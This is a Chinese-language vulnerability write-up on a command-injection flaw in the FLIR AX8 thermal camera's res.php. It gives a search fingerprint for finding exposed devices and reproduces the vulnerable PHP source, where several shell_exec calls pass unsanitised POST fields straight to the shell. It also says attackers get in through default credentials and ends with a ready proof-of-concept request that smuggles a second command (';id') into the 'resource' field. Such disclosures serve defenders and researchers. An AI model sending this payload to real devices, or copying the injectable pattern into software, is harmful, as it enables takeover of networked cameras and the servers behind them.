FLIR-AX8 res.php 后台命令执行漏洞

漏洞描述

FLIR-AX8 res.php 文件存在后台命令执行漏洞，攻击者通过默认口令登录后台后获取服务器权限。

漏洞影响

FLIR-AX8

网络测绘

app=”FLIR-FLIR-AX8″

漏洞复现

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出现漏洞的文件为 res.php

<?php
	if (isset($_POST["action"])) {
		switch ($_POST["action"]) {
			case "get":
				if(isset($_POST["resource"]))
				{
					switch ($_POST["resource"]) {
						case ".rtp.hflip":
							if (!file_exists("/FLIR/system/journal.d/horizontal_flip.cfg")) {
								$result = "false";
								break;
							}
							$result = file_get_contents("/FLIR/system/journal.d/horizontal_flip.cfg") === "1" ? "true" : "false";
							break;
						case ".rtp.vflip":
							if (!file_exists("/FLIR/system/journal.d/vertical_flip.cfg")) {
								$result = "false";
								break;
							}
							$result = file_get_contents("/FLIR/system/journal.d/vertical_flip.cfg") === "1" ? "true" : "false";
							break;
						default:
							$result = trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls -o ".$_POST["resource"]));
					}
				}
				break;
			case "set":
				if(isset($_POST["resource"]) and isset($_POST["value"])) {
					switch ($_POST["resource"]) {
						case "rtp.hflip":
							file_put_contents("/FLIR/system/journal.d/horizontal_flip.cfg", $_POST["value"] === "true" ? "1" : "0");
							break;
						case "rtp.vflip":
							file_put_contents("/FLIR/system/journal.d/vertical_flip.cfg", $_POST["value"] === "true" ? "1" : "0");
							break;
						default:
							$result = trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rset ".$_POST["resource"]." ".$_POST["value"]));;
					}
				}

				break;
			case "measurement":
				if (isset($_POST["type"]) && isset($_POST["id"])) {
					$nodeData =  trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls -i .image.sysimg.measureFuncs.".$_POST["type"].".".$_POST["id"]));
					$lines = explode("\n", $nodeData);
					foreach($lines as $line)
					{
						$resource = preg_split('/\s+/', $line);
						$value = trim($resource[1], "\"");
						$result[$resource[0]] = $value;
					}
				}
				break;
			case "global-parameters":
				$nodeData =  trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls -i .image.sysimg.basicImgData.objectParams"));
				$lines = explode("\n", $nodeData);
				foreach($lines as $line)
				{
					$resource = preg_split('/\s+/', $line);
					$result[$resource[0]] = $resource[1];
				}
			case "alarm":
				if(isset($_POST["id"]))
				{
					$nodeData = trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls .image.sysimg.alarms.measfunc.".$_POST["id"]));
					$lines = explode("\n", $nodeData);
					foreach($lines as $line)
					{
						$resource = preg_split('/\s+/', $line);
						$value = trim($resource[1], "\"");
						$result[$resource[0]] = $value;
					}
				}
				break;
			case "calibrate":
				$result = shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/nuc");

				break;
			case "node":
				$nodes = trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls ".$_POST["resource"]));
				$result = preg_split("/\s+\n/", $nodes);
				break;
		}
		echo json_encode($result);
	}
?>

验证POC

POST /res.php

action=node&resource=;id